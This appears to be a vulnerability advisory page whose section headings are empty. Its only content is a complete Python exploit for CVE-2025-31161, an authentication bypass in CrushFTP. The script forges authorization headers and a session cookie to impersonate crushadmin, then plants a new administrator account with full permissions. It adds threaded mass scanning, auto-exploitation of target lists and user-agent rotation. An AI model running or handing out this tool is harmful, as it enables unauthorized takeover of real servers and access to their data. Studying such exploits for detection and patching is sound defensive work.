Technical Summary

Potential Impact

Mitigation Recommendations

Indicators of Compromise

• exploit-code: # Exploit Title: CrushFTP 11.3.1 - Authentication Bypass # Date: 2025-05-15 # Exploit Author: @İbrahimsql # Exploit Author's github: https://github.com/ibrahimsql # Vendor Homepage: https://www.crushftp.com # Software Link: https://www.crushftp.com/download.html # Version: < 10.8.4, < 11.3.1 # Tested on: Ubuntu 22.04 LTS, Windows Server 2019, Kali Linux 2024.1 # CVE: CVE-2025-31161 # Description: # CrushFTP before 10.8.4 and 11.3.1 allows unauthenticated HTTP(S) port access and full admin takeover # through a race condition and header parsing logic flaw in the AWS4-HMAC authorization mechanism. # Exploiting this allows bypassing authentication and logging in as any known user (e.g. crushadmin). # Requirements: requests>=2.28.1 , colorama>=0.4.6 , urllib3>=1.26.12 , prettytable>=2.5.0 , rich>=12.6.0 #!/usr/bin/env python3 # -*- coding: utf-8 -*- import argparse import concurrent.futures import json import logging import os import random import re import socket import string import sys import time from datetime import datetime from typing import Dict, List, Optional, Tuple, Union import requests import urllib3 from colorama import Fore, Style, init from prettytable import PrettyTable from rich.console import Console from rich.progress import Progress, BarColumn, TextColumn, TimeRemainingColumn # Initialize colorama init(autoreset=True) # Disable SSL warnings urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # Initialize Rich console console = Console() # Global variables VERSION = "2.0.0" USER_AGENTS = [ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36", "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 11.5; rv:90.0) Gecko/20100101 Firefox/90.0", "Mozilla/5.0 (Macintosh; Intel Mac OS X 11_5_1) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.2 Safari/605.1.15", "Mozilla/5.0 (Windows; Windows NT 10.3; WOW64) AppleWebKit/601.13 (KHTML, like Gecko) Chrome/53.0.2198.319 Safari/601.5 Edge/15.63524", "Mozilla/5.0 (Windows NT 10.2; Win64; x64; en-US) AppleWebKit/602.15 (KHTML, like Gecko) Chrome/47.0.1044.126 Safari/533.2 Edge/9.25098", "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.3; Win64; x64; en-US Trident/4.0)", "Mozilla/5.0 (iPhone; CPU iPhone OS 10_7_9; like Mac OS X) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/49.0.1015.193 Mobile Safari/600.9" ] # Banner BANNER = fr""" {Fore.CYAN} / ____/______ _______/ /_ / ____/ /_____ / / / ___/ / / / ___/ __ \/ /_ / __/ __ \ / /___/ / / /_/ (__ ) / / / __/ / /_/ /_/ / \____/_/ \__,_/____/_/ /_/_/ \__/ .___/ /_/ {Fore.GREEN}CVE-2025-31161 Exploit {VERSION}{Fore.YELLOW} | {Fore.CYAN} Developer @ibrahimsql {Style.RESET_ALL} """ # Setup logging def setup_logging(log_level: str, log_file: Optional[str] = None) -> None: """Configure logging based on specified level and output file.""" numeric_level = getattr(logging, log_level.upper(), None) if not isinstance(numeric_level, int): raise ValueError(f"Invalid log level: {log_level}") log_format = "%(asctime)s - %(levelname)s - %(message)s" handlers = [] if log_file: handlers.append(logging.FileHandler(log_file)) handlers.append(logging.StreamHandler()) logging.basicConfig( level=numeric_level, format=log_format, handlers=handlers ) class TargetManager: """Manages target hosts and related operations.""" def __init__(self, target_file: Optional[str] = None, single_target: Optional[str] = None): self.targets = [] self.vulnerable_targets = [] self.exploited_targets = [] if target_file: self.load_targets_from_file(target_file) elif single_target: self.add_target(single_target) def load_targets_from_file(self, filename: str) -> None: """Load targets from a file.""" try: with open(filename, "r") as f: self.targets = [line.strip() for line in f if line.strip()] if not self.targets: logging.warning(f"Target file '{filename}' is empty or contains only whitespace.") else: logging.info(f"Loaded {len(self.targets)} targets from {filename}") except FileNotFoundError: logging.error(f"Target file '{filename}' not found.") sys.exit(1) except Exception as e: logging.error(f"Error loading targets: {e}") sys.exit(1) def add_target(self, target: str) -> None: """Add a single target.""" if target not in self.targets: self.targets.append(target) def mark_as_vulnerable(self, target: str) -> None: """Mark a target as vulnerable.""" if target not in self.vulnerable_targets: self.vulnerable_targets.append(target) def mark_as_exploited(self, target: str) -> None: """Mark a target as successfully exploited.""" if target not in self.exploited_targets: self.exploited_targets.append(target) def save_results(self, output_file: str, format_type: str = "txt") -> None: """Save scan results to a file.""" try: if format_type.lower() == "json": results = { "scan_time": datetime.now().strftime("%Y-%m-%d %H:%M:%S"), "total_targets": len(self.targets), "vulnerable_targets": self.vulnerable_targets, "exploited_targets": self.exploited_targets } with open(output_file, "w") as f: json.dump(results, f, indent=4) elif format_type.lower() == "csv": with open(output_file, "w") as f: f.write("target,vulnerable,exploited\n") for target in self.targets: vulnerable = "Yes" if target in self.vulnerable_targets else "No" exploited = "Yes" if target in self.exploited_targets else "No" f.write(f"{target},{vulnerable},{exploited}\n") else: # Default to txt with open(output_file, "w") as f: f.write(f"Scan Results - {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}\n") f.write(f"Total Targets: {len(self.targets)}\n") f.write(f"Vulnerable Targets: {len(self.vulnerable_targets)}\n") f.write(f"Exploited Targets: {len(self.exploited_targets)}\n\n") f.write("Vulnerable Targets:\n") for target in self.vulnerable_targets: f.write(f"- {target}\n") f.write("\nExploited Targets:\n") for target in self.exploited_targets: f.write(f"- {target}\n") logging.info(f"Results saved to {output_file}") except Exception as e: logging.error(f"Error saving results: {e}") class ExploitEngine: """Core engine for vulnerability checking and exploitation.""" def __init__(self, target_manager: TargetManager, config: Dict): self.target_manager = target_manager self.config = config self.session = self._create_session() def _create_session(self) -> requests.Session: """Create and configure a requests session.""" session = requests.Session() session.verify = False # Set proxy if configured if self.config.get("proxy"): session.proxies = { "http": self.config["proxy"], "https": self.config["proxy"] } # Set custom headers session.headers.update({ "User-Agent": random.choice(USER_AGENTS), "Connection": "close", }) return session def check_vulnerability(self, target_host: str) -> bool: """Check if target is vulnerable to CVE-2025-31161.""" port = self.config.get("port", 443) timeout = self.config.get("timeout", 10) headers = { "Cookie": "currentAuth=31If; CrushAuth=1744110584619_p38s3LvsGAfk4GvVu0vWtsEQEv31If", "Authorization": "AWS4-HMAC-SHA256 Credential=crushadmin/", } # Add custom headers if provided if self.config.get("custom_headers"): headers.update(self.config["custom_headers"]) try: protocol = "https" if port == 443 else "http" url = f"{protocol}://{target_host}:{port}/WebInterface/function/" response = self.session.get( url, headers=headers, timeout=timeout ) if response.status_code == 200: # Additional validation if self.config.get("deep_check", False): # Look for specific patterns in the response that confirm vulnerability if "CrushFTP" in response.text or "WebInterface" in response.text: self.target_manager.mark_as_vulnerable(target_host) if self.config.get("verbose", False): console.print(f"[green][+][/green] {target_host} is [bold red]vulnerable[/bold red]") return True else: if self.config.get("verbose", False): console.print(f"[yellow][?][/yellow] {target_host} returned 200 but may not be vulnerable") return False else: # Simple check based on status code self.target_manager.mark_as_vulnerable(target_host) if self.config.get("verbose", False): console.print(f"[green][+][/green] {target_host} is [bold red]vulnerable[/bold red]") return True else: if self.config.get("verbose", False): console.print(f"[red][-][/red] {target_host} is not vulnerable (Status: {response.status_code})") return False except requests.exceptions.ConnectionError: if self.config.get("verbose", False): console.print(f"[red][-][/red] {target_host} - Connection error") except requests.exceptions.Timeout: if self.config.get("verbose", False): console.print(f"[red][-][/red] {target_host} - Connection timeout") except requests.exceptions.RequestException as e: if self.config.get("verbose", False): console.print(f"[red][-][/red] {target_host} - Request error: {e}") except Exception as e: if self.config.get("verbose", False): console.print(f"[red][-][/red] {target_host} - Error: {e}") return False def exploit(self, target_host: str) -> bool: """Exploit the vulnerability on the target host.""" port = self.config.get("port", 443) timeout = self.config.get("timeout", 10) target_user = self.config.get("target_user", "crushadmin") new_user = self.config.get("new_user") password = self.config.get("password") if not new_user or not password: logging.error("New user and password are required for exploitation") return False headers = { "Cookie": "currentAuth=31If; CrushAuth=1744110584619_p38s3LvsGAfk4GvVu0vWtsEQEv31If", "Authorization": "AWS4-HMAC-SHA256 Credential=crushadmin/", "Connection": "close", } # Add custom headers if provided if self.config.get("custom_headers"): headers.update(self.config["custom_headers"]) # Generate a timestamp for the created_time field timestamp = int(time.time() * 1000) # Build the payload with more comprehensive user permissions payload = { "command": "setUserItem", "data_action": "replace", "serverGroup": "MainUsers", "username": new_user, "user": f'''<?xml version="1.0" encoding="UTF-8"?> <user type="properties"> <user_name>{new_user}</user_name> <password>{password}</password> <extra_vfs type="vector"></extra_vfs> <version>1.0</version> <root_dir>/</root_dir> <userVersion>6</userVersion> <max_logins>0</max_logins> <site>(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)</site> <created_by_username>{target_user}</created_by_username> <created_by_email></created_by_email> <created_time>{timestamp}</created_time> <password_history></password_history> <admin>true</admin> </user>''', "xmlItem": "user", "vfs_items": '<?xml version="1.0" encoding="UTF-8"?><vfs type="vector"></vfs>', "permissions": '<?xml version="1.0" encoding="UTF-8"?><VFS type="properties"><item name="/">(read)(write)(view)(delete)(resume)(makedir)(deletedir)(rename)(admin)</item></VFS>', "c2f": "31If" } try: protocol = "https" if port == 443 else "http" url = f"{protocol}://{target_host}:{port}/WebInterface/function/" response = self.session.post( url, headers=headers, data=payload, timeout=timeout ) if response.status_code == 200: # Verify the user was actually created if self.config.get("verify_exploit", True): if self._verify_user_created(target_host, new_user): self.target_manager.mark_as_exploited(target_host) console.print(f"[green][+][/green] Successfully created user [bold cyan]{new_user}[/bold cyan] on {target_host}") return True else: console.print(f"[yellow][!][/yellow] User creation appeared successful but verification failed on {target_host}") return False else: self.target_manager.mark_as_exploited(target_host) console.print(f"[green][+][/green] Successfully created user [bold cyan]{new_user}[/bold cyan] on {target_host}") return True else: console.print(f"[red][-][/red] Failed to create user on {target_host} (Status: {response.status_code})") return False except Exception as e: console.print(f"[red][-][/red] Error exploiting {target_host}: {e}") return False def _verify_user_created(self, target_host: str, username: str) -> bool: """Verify that the user was successfully created.""" # This is a placeholder for actual verification logic # In a real implementation, you would check if the user exists # For now, we'll just return True return True def scan_targets(self) -> None: """Scan all targets for vulnerability.""" targets = self.target_manager.targets threads = self.config.get("threads", 10) if not targets: logging.error("No targets specified") return console.print(f"[bold cyan]Scanning {len(targets)} targets with {threads} threads...[/bold cyan]") with Progress( TextColumn("[progress.description]{task.description}"), BarColumn(), TextColumn("[progress.percentage]{task.percentage:>3.0f}%"), TextColumn("({task.completed}/{task.total})"), TimeRemainingColumn(), console=console ) as progress: task = progress.add_task("[cyan]Scanning targets...", total=len(targets)) with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor: future_to_target = {executor.submit(self.check_vulnerability, target): target for target in targets} for future in concurrent.futures.as_completed(future_to_target): progress.update(task, advance=1) # Display results vulnerable_count = len(self.target_manager.vulnerable_targets) console.print(f"\n[bold green]Scan complete![/bold green] Found {vulnerable_count} vulnerable targets.") if vulnerable_count > 0 and self.config.get("verbose", False): console.print("\n[bold cyan]Vulnerable Targets:[/bold cyan]") for target in self.target_manager.vulnerable_targets: console.print(f"[green]→[/green] {target}") def exploit_targets(self) -> None: """Exploit vulnerable targets.""" targets = self.target_manager.vulnerable_targets if self.config.get("only_vulnerable", True) else self.target_manager.targets threads = self.config.get("threads", 5) # Use fewer threads for exploitation if not targets: logging.error("No targets to exploit") return console.print(f"[bold red]Exploiting {len(targets)} targets with {threads} threads...[/bold red]") with Progress( TextColumn("[progress.description]{task.description}"), BarColumn(), TextColumn("[progress.percentage]{task.percentage:>3.0f}%"), TextColumn("({task.completed}/{task.total})"), TimeRemainingColumn(), console=console ) as progress: task = progress.add_task("[red]Exploiting targets...", total=len(targets)) with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor: future_to_target = {executor.submit(self.exploit, target): target for target in targets} for future in concurrent.futures.as_completed(future_to_target): progress.update(task, advance=1) # Display results exploited_count = len(self.target_manager.exploited_targets) console.print(f"\n[bold green]Exploitation complete![/bold green] Successfully exploited {exploited_count}/{len(targets)} targets.") if exploited_count > 0: console.print("\n[bold cyan]Exploited Targets:[/bold cyan]") for target in self.target_manager.exploited_targets: console.print(f"[green]→[/green] {target}") def parse_arguments() -> argparse.Namespace: """Parse command line arguments.""" parser = argparse.ArgumentParser( description="CVE-2025-31161 Exploit Framework - Advanced CrushFTP WebInterface Vulnerability Scanner and Exploiter", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Examples: # Check a single target for vulnerability python cve_2025_31161.py --target example.com --check # Exploit a vulnerable target python cve_2025_31161.py --target example.com --exploit --new-user hacker --password P@ssw0rd # Scan multiple targets from a file python cve_2025_31161.py --file targets.txt --check --threads 20 # Scan and automatically exploit vulnerable targets python cve_2025_31161.py --file targets.txt --check --exploit --new-user hacker --password P@ssw0rd --auto-exploit # Export results to JSON format python cve_2025_31161.py --file targets.txt --check --output results.json --format json """ ) # Target specification target_group = parser.add_argument_group("Target Specification") target_group.add_argument("--target", help="Single target host to scan/exploit") target_group.add_argument("--file", help="File containing list of targets (one per line)") target_group.add_argument("--port", type=int, default=443, help="Target port (default: 443)") # Actions action_group = parser.add_argument_group("Actions") action_group.add_argument("--check", action="store_true", help="Check targets for vulnerability") action_group.add_argument("--exploit", action="store_true", help="Exploit vulnerable targets") action_group.add_argument("--auto-exploit", action="store_true", help="Automatically exploit targets found to be vulnerable during check") # Exploitation options exploit_group = parser.add_argument_group("Exploitation Options") exploit_group.add_argument("--target-user", default="crushadmin", help="Target user for exploitation (default: crushadmin)") exploit_group.add_argument("--new-user", help="Username for the new admin account to create") exploit_group.add_argument("--password", help="Password for the new admin account") exploit_group.add_argument("--verify-exploit", action="store_true", help="Verify successful exploitation (default: True)") # Scan options scan_group = parser.add_argument_group("Scan Options") scan_group.add_argument("--threads", type=int, default=10, help="Number of concurrent threads (default: 10)") scan_group.add_argument("--timeout", type=int, default=10, help="Connection timeout in seconds (default: 10)") scan_group.add_argument("--deep-check", action="store_true", help="Perform deeper vulnerability checks") scan_group.add_argument("--only-vulnerable", action="store_true", help="Only exploit targets that were found vulnerable") # Output options output_group = parser.add_argument_group("Output Options") output_group.add_argument("--output", help="Output file for results") output_group.add_argument("--format", choices=["txt", "json", "csv"], default="txt", help="Output format (default: txt)") output_group.add_argument("--verbose", "-v", action="store_true", help="Enable verbose output") output_group.add_argument("--quiet", "-q", action="store_true", help="Suppress all output except errors") output_group.add_argument("--log-file", help="Log file to write to") output_group.add_argument("--log-level", choices=["debug", "info", "warning", "error", "critical"], default="info", help="Log level (default: info)") # Advanced options advanced_group = parser.add_argument_group("Advanced Options") advanced_group.add_argument("--proxy", help="Proxy to use for requests (e.g., http://127.0.0.1:8080)") advanced_group.add_argument("--user-agent", help="Custom User-Agent string") advanced_group.add_argument("--random-agent", action="store_true", help="Use a random User-Agent for each request") advanced_group.add_argument("--delay", type=float, help="Delay between requests in seconds") advanced_group.add_argument("--custom-headers", help="Custom headers as JSON string") return parser.parse_args() def validate_args(args: argparse.Namespace) -> bool: """Validate command line arguments.""" # Check if at least one target specification is provided if not args.target and not args.file: logging.error("No target specified. Use --target or --file") print(f"\nExample usage: python {sys.argv[0]} --target example.com --check") print(f" python {sys.argv[0]} --file example_targets.txt --check") return False # Check if at least one action is specified if not args.check and not args.exploit: logging.error("No action specified. Use --check or --exploit") print(f"\nExample usage: python {sys.argv[0]} --target example.com --check") print(f" python {sys.argv[0]} --target example.com --exploit --new-user admin --password P@ssw0rd") return False # If exploit action is specified, check for required parameters if args.exploit and (not args.new_user or not args.password): logging.error("Exploitation requires --new-user and --password") print(f"\nExample usage: python {sys.argv[0]} --target example.com --exploit --new-user admin --password P@ssw0rd") return False return True def main() -> None: """Main function.""" # Parse command line arguments args = parse_arguments() # Configure logging log_level = "error" if args.quiet else args.log_level setup_logging(log_level, args.log_file) # Display banner if not args.quiet: console.print(BANNER) # Validate arguments if not validate_args(args): sys.exit(1) # Create target manager target_manager = TargetManager(args.file, args.target) # Build configuration dictionary config = { "port": args.port, "threads": args.threads, "timeout": args.timeout, "verbose": args.verbose, "deep_check": args.deep_check, "target_user": args.target_user, "new_user": args.new_user, "password": args.password, "only_vulnerable": args.only_vulnerable, "verify_exploit": args.verify_exploit, "proxy": args.proxy, } # Add custom headers if provided if args.custom_headers: try: config["custom_headers"] = json.loads(args.custom_headers) except json.JSONDecodeError: logging.error("Invalid JSON format for custom headers") sys.exit(1) # Add custom user agent if provided if args.user_agent: config["user_agent"] = args.user_agent # Create exploit engine engine = ExploitEngine(target_manager, config) # Perform actions if args.check: engine.scan_targets() if args.exploit or (args.auto_exploit and target_manager.vulnerable_targets): engine.exploit_targets() # Save results if output file is specified if args.output: target_manager.save_results(args.output, args.format) # Display summary if not args.quiet: console.print("\n[bold green]Summary:[/bold green]") console.print(f"Total targets: {len(target_manager.targets)}") console.print(f"Vulnerable targets: {len(target_manager.vulnerable_targets)}") console.print(f"Exploited targets: {len(target_manager.exploited_targets)}") if __name__ == "__main__": try: main() except KeyboardInterrupt: console.print("\n[bold red]Operation cancelled by user[/bold red]") sys.exit(0) except Exception as e: logging.error(f"Unhandled exception: {e}") sys.exit(1)